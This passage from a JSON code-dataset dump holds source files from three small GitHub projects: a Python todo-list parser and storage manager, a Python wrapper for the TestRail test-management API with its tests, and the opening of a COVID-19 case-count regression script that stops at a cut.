13.333333015441895, "blob_id": "b525c32ae966edc63be9fd6bd1e7e1ee39295ad7", "content_id": "e38cd0e0c653eabe36091cada2b7e8d46fe27121", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 43, "license_type": "permissive", "max_line_length": 17, "num_lines": 3, "path": "/requirements.txt", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "nose==1.3.0\nPyHamcrest==1.7.2\nfuncy==0.5.6\n" }, { "alpha_fraction": 0.6020220518112183, "alphanum_fraction": 0.6020220518112183, "avg_line_length": 24.904762268066406, "blob_id": "2868031bc946b2efffd647e909eafe5e6ed0adda", "content_id": "51f67a36afae182f358f17670abaaae19f8ef8e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1088, "license_type": "permissive", "max_line_length": 58, "num_lines": 42, "path": "/arise_todo/core/manager.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "from .parser import Task\nfrom .utils import get_storage\n\n\nclass TasksManager(object):\n\n def __init__(self, storage=None):\n self._storage = storage\n if self._storage is None:\n self._storage = get_storage()\n\n def close(self):\n if self._storage.connected:\n self._storage.disconnect()\n\n @property\n def storage(self):\n if not self._storage.connected:\n self._storage.connect()\n return self._storage\n\n def add(self, task):\n self.storage.add(self._storage.task(task))\n\n def delete(self, task):\n self.storage.delete(self._storage.task(task))\n\n def edit(self, task, new_task):\n self.storage.replace(self._storage.task(task),\n self._storage.task(new_task))\n\n def search(self, query):\n return self.storage.search(query)\n\n def move_after(self, task, after):\n self.storage.move_after(task, after)\n\n def move_before(self, task, before):\n self.storage.move_after(task, before)\n\n def __iter__(self):\n return iter(self.storage)\n" }, { "alpha_fraction": 0.6709677577018738, "alphanum_fraction": 0.7032257914543152, "avg_line_length": 29.799999237060547, "blob_id": "eed178c941dddf454d413d170f20467b6fe2042f", "content_id": "33822b53bb64e0687927ee89dec9d252543b9e51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 155, "license_type": "permissive", "max_line_length": 129, "num_lines": 5, "path": "/README.md", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "arise.todo\n==========\n\n\n[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/miphreal/arise.todo/trend.png)](https://bitdeli.com/free \"Bitdeli Badge\")\n\n" }, { "alpha_fraction": 0.6088019609451294, "alphanum_fraction": 0.6096169352531433, "avg_line_length": 34.565216064453125, "blob_id": "c970174eff78516d25c89cd6ab02c8b98dabc063", "content_id": "6405dec523d869448cf5880a23a00fc2471a31c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2454, "license_type": "permissive", "max_line_length": 94, "num_lines": 69, "path": "/arise_todo/storage/backends/text_file.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "import os\nimport operator\nfrom funcy import ikeep, any, partial, ifilter, first, imap, select\n\nfrom arise_todo.core.parser import Task\nfrom ..base import BaseStorage\n\n\nclass TextStorage(BaseStorage):\n def __init__(self, file_name, keep_opened=False):\n super(TextStorage, self).__init__()\n self._keep_opened = keep_opened\n self._file_name = os.path.realpath(os.path.expanduser(file_name))\n self._fd = None\n\n @property\n def _file(self):\n if not self._keep_opened or self._fd is None or (self._fd and self._fd.closed):\n if self._fd and not self._fd.closed:\n self._fd.close()\n self._fd = open(self._file_name, 'a+')\n return self._fd\n\n def _atomic_write(self, tasks):\n tasks = map(u'{!s}\\n'.format, tasks)\n self._file.truncate()\n self._file.writelines(tasks)\n self._file.flush()\n\n def __contains__(self, task):\n return any(partial(operator.eq, task), self)\n\n def get(self, task_uuid):\n return first(ifilter(partial(operator.eq, self.task(task_uuid)), self))\n\n def add(self, task, after_task=None, before_task=None):\n if task not in self:\n self._file.write('{!s}\\n'.format(task))\n self._file.flush()\n\n def delete(self, task):\n tasks = ifilter(partial(operator.ne, self.task(task)), self)\n self._atomic_write(tasks)\n\n def replace(self, task_or_uuid, new_task):\n src_task = self.task(task_or_uuid)\n tasks = imap(lambda t: self.task(new_task) if t == src_task else t, self)\n self._atomic_write(tasks)\n\n def search(self, query, treat_as_regex=True):\n if treat_as_regex:\n return map(Task, select(query, self.iterate(raw=True)))\n return map(Task, ifilter(lambda t: query in t, self.iterate(raw=True)))\n\n def move_before(self, task_or_uuid, before_task_or_uuid, shift=0):\n task, before = self.task(task_or_uuid), self.task(before_task_or_uuid)\n tasks = list(self)\n if task in tasks:\n tasks.remove(task)\n tasks.insert(tasks.index(before) + shift if before in tasks else len(tasks), task)\n self._atomic_write(tasks)\n\n def move_after(self, task_or_uuid, after_task_or_uuid):\n self.move_before(task_or_uuid, after_task_or_uuid, shift=1)\n\n def iterate(self, raw=False):\n if raw:\n return ikeep(self._file)\n return ikeep(Task, self._file)\n" }, { "alpha_fraction": 0.5777612328529358, "alphanum_fraction": 0.5844663977622986, "avg_line_length": 25.063106536865234, "blob_id": "777a81af1e758b28d4aa084a89dc29a9e842804a", "content_id": "04cf1c3a7768366891970900cd81381bb9edfcdb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5369, "license_type": "permissive", "max_line_length": 113, "num_lines": 206, "path": "/arise_todo/core/parser.py", "repo_name": "miphreal/arise.todo", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom inspect import isclass\nimport operator\nimport re\nimport uuid\n\n\nDATE_YYYY = r'(\\d{4})'\nDATE_MM = r'(10|11|12|(0?\\d))'\nDATE_DD = r'([012]?\\d|30|31)'\nDATE_RE = r'({yyyy}(-{mm})?(-{dd})?)'.format(yyyy=DATE_YYYY, mm=DATE_MM, dd=DATE_DD)\n\nTIME_HH = r'([01]?\\d|2[0-4])'\nTIME_MM = r'([0-5]?\\d)'\nTIME_SS = r'({mm}|60|61)'.format(mm=TIME_MM)\nTIME_RE = r'({hh}:{mm}(:{ss})?)'.format(hh=TIME_HH, mm=TIME_MM, ss=TIME_SS)\n\nDATE_TIME_RE = r'({date}( {time})?)'.format(date=DATE_RE, time=TIME_RE)\n\n\nclass TaskItem(object):\n pattern = None\n EMPTY = ''\n\n def __init__(self, src_text, task):\n self.task = task\n self.data = self._parse(src_text)\n\n def _parse(self, src_text):\n if self.pattern:\n match = self.pattern.search(src_text)\n return match.group(1) if match else self.EMPTY\n return src_text\n\n def _format(self, item):\n return item\n\n def format(self):\n if self.data:\n return self._format(self.data)\n return self.EMPTY\n\n def clean(self, src_text):\n \"\"\"Removes itself from src_text\"\"\"\n return src_text.replace(self.format(), '')\n\n @property\n def name(self):\n return re.sub(r'^_', '', re.sub(r'([A-Z])', '_\\\\1', self.__class__.__name__.replace('Item', '')).lower())\n\n __str__ = __unicode__ = format\n\n\nclass MultipleTaskItem(TaskItem):\n def _parse(self, src_text):\n return self.pattern.findall(src_text)\n\n def _format(self, projects):\n return ' '.join('{!s}'.format(prj) for prj in projects)\n\n def clean(self, src_text):\n for prj in self.format().split():\n src_text = src_text.replace(prj, '')\n return src_text\n\n\nclass PriorityItem(TaskItem):\n pattern = re.compile(r'\\(([A-Z]\\d*)\\)')\n\n def _format(self, data):\n return '({})'.format(data)\n\n\nclass CreationDateItem(TaskItem):\n pattern = re.compile(r'^({})'.format(DATE_TIME_RE))\n\n\nclass SchedulingItem(TaskItem):\n pattern = re.compile(r'#({})'.format(DATE_TIME_RE))\n\n def _format(self, data):\n return '#{}'.format(data)\n\n\nclass FadingDateItem(TaskItem):\n pattern = re.compile(r'#~({})'.format(DATE_TIME_RE))\n\n def _format(self, data):\n return '#~{}'.format(data)\n\n\nclass TaskMsgItem(TaskItem):\n @property\n def data(self):\n return self.task.clean_text\n\n @data.setter\n def data(self, value):\n pass\n\n\nclass ProjectsItem(MultipleTaskItem):\n pattern = re.compile(r'\\+([\\w/-]+)')\n\n def _format(self, projects):\n return ' '.join('+{}'.format(prj) for prj in projects)\n\n\nclass ContextsItem(MultipleTaskItem):\n pattern = re.compile(r'@([\\w/-]+)')\n\n def _format(self, projects):\n return ' '.join('@{}'.format(prj) for prj in projects)\n\n\ndef text_item(text):\n class TextNodeItem(TaskItem):\n _text_node = text\n pattern = re.compile(r'({})'.format(re.escape(_text_node)))\n\n def _parse(self, src_text):\n return self._text_node\n\n def format(self):\n return self._text_node\n\n return TextNodeItem\n\nTextItem = text_item\n\n\nclass StateItem(TaskItem):\n pattern = re.compile(r'&([\\w-]+(\\({datetime}\\))?)'.format(datetime=DATE_TIME_RE))\n STATES = ('todo', 'in-progress', 'done', 'removed', 'skipped')\n UNKNOWN_STATE = 'unknown'\n\n def _parse(self, src_text):\n value = super(StateItem, self)._parse(src_text)\n return value if not value or any(map(value.lower().startswith, self.STATES)) else self.UNKNOWN_STATE\n\n def _format(self, item):\n return '&{}'.format(item)\n\n\nclass MetadataItem(MultipleTaskItem):\n pattern = re.compile(r'''([\\w-]+:([\\w-]+|\"[^\"]+\"|'[^']+'))''')\n\n def _parse(self, src_text):\n return [match[0] for match in self.pattern.findall(src_text)]\n\n\nTASK_PARTS = (\n CreationDateItem,\n PriorityItem,\n StateItem,\n TaskMsgItem,\n ProjectsItem,\n ContextsItem,\n SchedulingItem,\n MetadataItem,\n)\n\n\nclass Task(object):\n \"\"\"\n Task Parser\n \"\"\"\n\n def __init__(self, todo_text, task_id=None, task_parts=TASK_PARTS):\n self.src_text = todo_text.strip().decode('utf-8')\n self.clean_text = ''\n self.task_parts, self.cleaned_text = self.parse_task_parts(self.src_text, task_parts)\n self.clean_text = re.sub(r'\\s{2,}', ' ', self.cleaned_text).strip()\n self.id = self._task_id(task_id)\n\n def __eq__(self, other):\n return self.id == other.id\n\n def __ne__(self, other):\n return self.id != other.id\n\n def _task_id(self, task_uuid=None):\n from hashlib import sha1\n if task_uuid is None:\n return uuid.uuid5(namespace=uuid.NAMESPACE_OID, name=sha1(unicode(self).encode('utf-8')).digest())\n return uuid.UUID(hex=task_uuid, version=5)\n\n def parse_task_parts(self, todo_text, task_parts):\n parts = []\n\n for part in task_parts:\n if isclass(part) and issubclass(part, TaskItem):\n part = part(todo_text, self)\n todo_text = part.clean(todo_text)\n parts.append(part)\n\n return parts, todo_text\n\n @property\n def data(self):\n d = {p.name: p.data for p in self.task_parts}\n d['id'] = self.id\n return d\n\n def __str__(self):\n return ' '.join(filter(operator.truth, map(operator.methodcaller('format'), self.task_parts)))\n" } ]
10
joshuaduffy/TestRail
https://github.com/joshuaduffy/TestRail
bd9f7f510cc44014be6be0747ea4390cc554d947
ee989896f22d91c760b4ddc197a5b7b363f2306d
5637dd387b95c2cf1fa7e41eb9ebb569af5861db
refs/heads/master
2018-08-23T23:30:20.057299
2014-01-14T21:40:08
2014-01-14T21:40:08
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6341463327407837, "alphanum_fraction": 0.6402438879013062, "avg_line_length": 22.428571701049805, "blob_id": "19ba0b9743a1b4ca075ea516ef8737ed85144539", "content_id": "a922c80ccf4952efbe60766a971ba0cb5fe14a4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 328, "license_type": "no_license", "max_line_length": 75, "num_lines": 14, "path": "/src/settings.py", "repo_name": "joshuaduffy/TestRail", "src_encoding": "UTF-8", "text": "# If you use a hosted account\nHOSTED_ACC = True\nHOSTED_ACC_NAME = ''\n# If you use a local/server installation\nDOMAIN = ''\n\nif HOSTED_ACC == True:\n URL = 'https://' + HOSTED_ACC_NAME + '.testrail.com/index.php?/api/v2/'\nelse:\n URL = DOMAIN + '/index.php?/api/v2/'\n\n# Logon details needed for each request\nUSR = ''\nPWD = ''\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6851851940155029, "avg_line_length": 12.5, "blob_id": "98329fcd17f01b40a0393050286b4469990ad6a0", "content_id": "15a91a1a0aa6c11728218dba66b1730223a06735", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 54, "license_type": "no_license", "max_line_length": 34, "num_lines": 4, "path": "/README.md", "repo_name": "joshuaduffy/TestRail", "src_encoding": "UTF-8", "text": "TestRail\n========\n\nPython wrapper for TestRail API v2\n" }, { "alpha_fraction": 0.7465277910232544, "alphanum_fraction": 0.7465277910232544, "avg_line_length": 40.21428680419922, "blob_id": "fc9d3e1e644da34a563d650533222f1a26bf7c56", "content_id": "9f59e0eea923933093a874158819a8a7345e19a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "no_license", "max_line_length": 92, "num_lines": 14, "path": "/src/testrail.py", "repo_name": "joshuaduffy/TestRail", "src_encoding": "UTF-8", "text": "__author__ = 'jeffbrys'\n\nimport api\nimport argparse\n\n#top level parser\nparser = argparse.ArgumentParser(description='Interact with TestRail via the command line.')\nparser.add_argument('--foo', action='store_true', help='foo help')\nsubparsers = parser.add_subparsers(help='sub-command help')\n\n#parser for the \"get\" command\nparser_get = subparsers.add_parser('get', help='perform GET requests on TestRail objects.')\nget_case = parser_get.add_parser('case', help='retrieve a specific test case.')\nget_case.add_argument('id#', type=int, help='retrieve a specific test case by id')" }, { "alpha_fraction": 0.5961217284202576, "alphanum_fraction": 0.596194326877594, "avg_line_length": 31.24824333190918, "blob_id": "b7781540a7ff3c94bb4bcc67317a0b4958a97260", "content_id": "de56993c17a53a6078e6bd03ab7651a94fa2b227", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13769, "license_type": "no_license", "max_line_length": 115, "num_lines": 427, "path": "/src/api.py", "repo_name": "joshuaduffy/TestRail", "src_encoding": "UTF-8", "text": "\"\"\"api.py: api functions for testrail api wrapper\"\"\"\nimport requests\nimport json\nimport settings\n\n# Will error without setting the header\nheaders = {\"Content-Type\": \"application/json\"}\n\n\ndef pretty(payload):\n print json.dumps(payload, sort_keys=True,\n indent=4, separators=(',', ':'))\n\n\ndef get_case(id):\n \"\"\"Returns an existing test case.\"\"\"\n req = requests.get(settings.URL + 'get_case/' + str(id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_cases(project_id, suite_id, section_id=None):\n \"\"\"Returns a list of test cases for a test suite.\"\"\"\n id = project_id\n params = {'suite_id': suite_id}\n if section_id is not None:\n params = {'suite_id': suite_id, 'section_id': section_id}\n\n req = requests.get(settings.URL + 'get_cases/' + str(id),\n params=params,\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n# def get_cases(project_id, suite_id, section_id):\n# \"\"\"Returns a list of test cases for a test suite.\"\"\"\n# id = project_id\n#\n# req = requests.get(settings.URL + 'get_cases/' + str(id),\n# params={'suite_id': suite_id, 'section_id': section_id},\n# auth=(settings.USR, settings.PWD), headers=headers)\n# return req.json()\n\n\ndef add_case(section_id, **kwargs):\n \"\"\"Creates a new test case.\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_case/' + str(section_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n return req.json()\n\n\ndef update_case(id, **kwargs):\n \"\"\"Updates an existing test case (partial updates are supported, i.e. you can submit and update specific\n fields only). This method supports the same POST fields as add_case.\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'update_case/' + str(id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req\n\n\ndef delete_case(id):\n \"\"\"Deletes and existing test case.\"\"\"\n\n req = requests.post(settings.URL + 'delete_case/' + str(id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_case_fields():\n \"\"\"Returns a list of available test case custom fields.\"\"\"\n\n req = requests.get(settings.URL + 'get_case_fields/',\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_case_types():\n \"\"\"Use the following API methods to request details about case type\"\"\"\n req = requests.get(settings.URL + 'get_case_types/',\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef get_milestone(milestone_id):\n \"\"\"Returns an existing milestone.\"\"\"\n req = requests.get(settings.URL + 'get_milestone/' + str(milestone_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_milestones(project_id):\n \"\"\"Returns a list of milestones for a project.\"\"\"\n req = requests.get(settings.URL + 'get_milestones/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef add_milestone(project_id, **kwargs):\n \"\"\"Creates a new milestone.\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_milestone/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\n\ndef update_milestone(milestone_id, **kwargs):\n \"\"\"Updates an existing milestone (partial updates are supported, i.e. you can submit and update specific\n fields only).\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'update_milestone/' + str(milestone_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\n\ndef delete_milestone(milestone_id):\n \"\"\"Deletes an existing milestone\"\"\"\n req = requests.post(settings.URL + 'delete_milestone/' + str(milestone_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef get_project(project_id):\n \"\"\"Returns an existing project.\"\"\"\n req = requests.get(settings.URL + 'get_project/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_projects():\n \"\"\"Returns a list of projects.\"\"\"\n req = requests.get(settings.URL + 'get_projects/',\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\ndef add_project(**kwargs):\n \"\"\"Creates a new project (administrator status required)\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_project/',\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\ndef update_project(project_id, **kwargs):\n \"\"\"Updates an existing project (partial updates are supported, i.e. you can submit and\n update specific fields only).\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'update_project/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\ndef delete_project(project_id):\n \"\"\"Deletes an existing project.\"\"\"\n\n req = requests.post(settings.URL + 'delete_project/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\ndef get_plan(plan_id):\n \"\"\"Returns an existing test plan.\"\"\"\n req = requests.get(settings.URL + 'get_plan/' + str(plan_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_plans(project_id):\n \"\"\"Returns a list of test plans for a project.\"\"\"\n req = requests.get(settings.URL + 'get_plans/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef add_plan(project_id, **kwargs):\n \"\"\"Creates a new test plan\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_plan/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\n\ndef add_plan_entry(plan_id, **kwargs):\n \"\"\"Creates a new test run for a test plan\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_plan/' + str(plan_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\n\ndef update_plan_entry(plan_id, entry_id, **kwargs):\n \"\"\"Updates an existing test run in a plan (partial updates are supported, i.e. you can submit and update\n specific fields only).\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'update_plan_entry/' + '%d/%d' % (plan_id, entry_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req.json()\n\n\ndef close_plan(plan_id):\n \"\"\"Closes an existing test plan and archives its test runs & results\"\"\"\n\n req = requests.post(settings.URL + 'close_plan/' + str(plan_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef delete_plan(plan_id):\n \"\"\"Deletes an existing test plan\"\"\"\n\n req = requests.post(settings.URL + 'delete_plan/' + str(plan_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef delete_plan_entry(plan_id, entry_id):\n \"\"\"Deletes an existing test run from a plan\"\"\"\n\n req = requests.post(settings.URL + 'delete_plan_entry/' + '%d/%d' % [plan_id, entry_id],\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef get_priorities():\n \"\"\"Returns a list of available priorities.\"\"\"\n\n req = requests.get(settings.URL + 'get_priorities/',\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\n\ndef get_run(run_id):\n \"\"\"Returns an existing test run.\"\"\"\n req = requests.get(settings.URL + 'get_run/' + str(run_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_runs(project_id):\n \"\"\"Returns a list of test runs for a project. Only returns those test runs that are not part of a test plan.\"\"\"\n req = requests.get(settings.URL + 'get_runs/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\ndef add_run(project_id, **kwargs):\n \"\"\"Creates a new test run.\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_run/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req\n\ndef update_run(run_id, **kwargs):\n \"\"\"Updates an existing test run (partial updates are supported, i.e. you can submit\n and update specific fields only).\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'update_run/' + str(run_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req\n\ndef close_run(run_id):\n \"\"\"Closes an existing test run and archives its tests & results\"\"\"\n req = requests.post(settings.URL + 'close_run/' + str(run_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json\n\ndef delete_run(run_id):\n \"\"\"Closes an existing test run and archives its tests & results\"\"\"\n req = requests.post(settings.URL + 'delete_run/' + str(run_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json\n\ndef get_section(section_id):\n \"\"\"Returns an existing section.\"\"\"\n req = requests.get(settings.URL + 'get_section/' + str(section_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_sections(project_id, suite_id):\n \"\"\"Returns a list of sections for a project and test suite.\"\"\"\n req = requests.get(settings.URL + 'get_sections/%d&suite_id=%d' % (project_id, suite_id,),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_test(test_id):\n \"\"\"Returns an existing test.\"\"\"\n req = requests.get(settings.URL + 'get_test/' + str(test_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_tests(run_id):\n \"\"\"Returns a list of tests for a test run.\"\"\"\n req = requests.get(settings.URL + 'get_tests/' + str(run_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_results(test_id):\n \"\"\"Returns a list of test results for a test.\"\"\"\n req = requests.get(settings.URL + 'get_results/' + str(test_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_results_for_case(run_id, case_id):\n \"\"\"Returns a list of test results for a test run and case combination\"\"\"\n req = requests.get(settings.URL + 'get_results_for_case/%d/%d' % (run_id, case_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\ndef get_result_fields():\n \"\"\"Returns a list of available test result custom fields\"\"\"\n req = requests.get(settings.URL + 'get_result_fields/',\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()\n\ndef add_result(test_id, **kwargs):\n \"\"\"Creates a new test result.\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_result/' + str(test_id),\n auth=(settings.USR, settings.PWD), headers=headers,\n data=json.dumps(fields))\n\n return req\n\ndef add_result_for_case(run_id, case_id, **kwargs):\n \"\"\"Creates a new test result for a test run and case combination\"\"\"\n fields = {}\n\n for key in kwargs:\n fields[key] = kwargs[key]\n\n req = requests.post(settings.URL + 'add_result_for_case/%d/%d' % (run_id, case_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req\n\ndef get_suite(suite_id):\n \"\"\"Returns an existing test suite.\"\"\"\n req = requests.get(settings.URL + 'get_suite/' + str(suite_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n return req.json()\n\n\ndef get_suites(project_id):\n \"\"\"Returns a list of test suites for a project\"\"\"\n req = requests.get(settings.URL + 'get_suites/' + str(project_id),\n auth=(settings.USR, settings.PWD), headers=headers)\n\n return req.json()" }, { "alpha_fraction": 0.6221009492874146, "alphanum_fraction": 0.6284675002098083, "avg_line_length": 21.670103073120117, "blob_id": "81564e01a53418279fede2b2cc3a056d80d5fc30", "content_id": "42363b23e81e87c750ac6d4e94069dfe60c5e2d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2199, "license_type": "no_license", "max_line_length": 46, "num_lines": 97, "path": "/tests.py", "repo_name": "joshuaduffy/TestRail", "src_encoding": "UTF-8", "text": "\"\"\"tests.py: tests for testrail api wrapper\"\"\"\nfrom nose.tools import with_setup\n\nfrom src import api\n\ndef setup_func():\n pass\n\n@with_setup(setup_func)\ndef test_get_case():\n \"\"\"Test get_case function\"\"\"\n result = api.get_case(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_cases():\n \"\"\"Test get_cases function\"\"\"\n result = api.get_cases(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_milestone():\n \"\"\"Test get_milestone function\"\"\"\n result = api.get_milestone(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_milestones():\n \"\"\"Test get_milestones function\"\"\"\n result = api.get_milestones(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_project():\n \"\"\"Test get_project function\"\"\"\n result = api.get_project(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_projects():\n \"\"\"Test get_projects function\"\"\"\n result = api.get_projects()\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_plan():\n \"\"\"Test get_plan function\"\"\"\n result = api.get_plan(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_plans():\n \"\"\"Test get_plans function\"\"\"\n result = api.get_plans(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_run():\n \"\"\"Test get_run function\"\"\"\n result = api.get_run(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_runs():\n \"\"\"Test get_runs function\"\"\"\n result = api.get_runs(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_section():\n \"\"\"Test get_section function\"\"\"\n result = api.get_section(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_sections():\n \"\"\"Test get_sections function\"\"\"\n result = api.get_sections(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_test():\n \"\"\"Test get_test function\"\"\"\n result = api.get_test(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_tests():\n \"\"\"Test get_tests function\"\"\"\n result = api.get_tests(1)\n assert result != ''\n\n@with_setup(setup_func)\ndef test_get_results():\n \"\"\"Test get_results function\"\"\"\n result = api.get_results(1)\n assert result != ''\n" } ]
5
prabhu1010/Covid-Tracker
https://github.com/prabhu1010/Covid-Tracker
7b0afad892375953674d57aa877b7ad241f22afe
e7672f9d22dbb4660af77691b2b156e8d36b8ff0
6e1a1dab452b0788aef2c478776e33262e2a6a3e
refs/heads/master
2022-06-29T13:51:53.417026
2020-05-09T13:08:59
2020-05-09T13:08:59
258,851,309
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5059908032417297, "alphanum_fraction": 0.5450077056884766, "avg_line_length": 28.844036102294922, "blob_id": "2db60e3412d8335074f447743b4a27f071ef53d0", "content_id": "fce453714b61c3d84d831854b741da60d5fb393a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3255, "license_type": "no_license", "max_line_length": 215, "num_lines": 109, "path": "/regressionParser.py", "repo_name": "prabhu1010/Covid-Tracker", "src_encoding": "UTF-8", "text": "#This is the regression based countdown script. Predicts time to reach 100 days based on a regression trend, not -ve progression\nimport sys\nimport numpy as np \n\ninFile = sys.argv[1]\ndateList = []\ndnc1 = []\ndnc2 = []\ndnc3 = []\n\ndef estimate_coef(x, y): \n\t# number of observations/points \n\tn = np.size(x) \n\t# mean of x and y vector \n\tm_x, m_y = np.mean(x), np.mean(y) \n\t# calculating cross-deviation and deviation about x \n\tSS_xy = np.sum(y*x) - n*m_y*m_x \n\tSS_xx = np.sum(x*x) - n*m_x*m_x \n\t# calculating regression coefficients \n\tb_1 = SS_xy / SS_xx \n\tb_0 = m_y - b_1*m_x \n\treturn(b_0, b_1) \n\ndef PrepareLists(inFile):\n found_val = 0\n fp = open(inFile, \"r\")\n for line in fp:\n rec = line.strip().upper()\n\n if \"DAILY NEW CASES\" in rec:\n found_val = 1 \n\n if \"CATEGORIES:\" in rec and found_val == 1:\n dateList = rec.split(\"[\")[1].split(\"]\")[0].split(\",\")\n\n if \"DATA:\" in rec and found_val == 1:\n dncList = 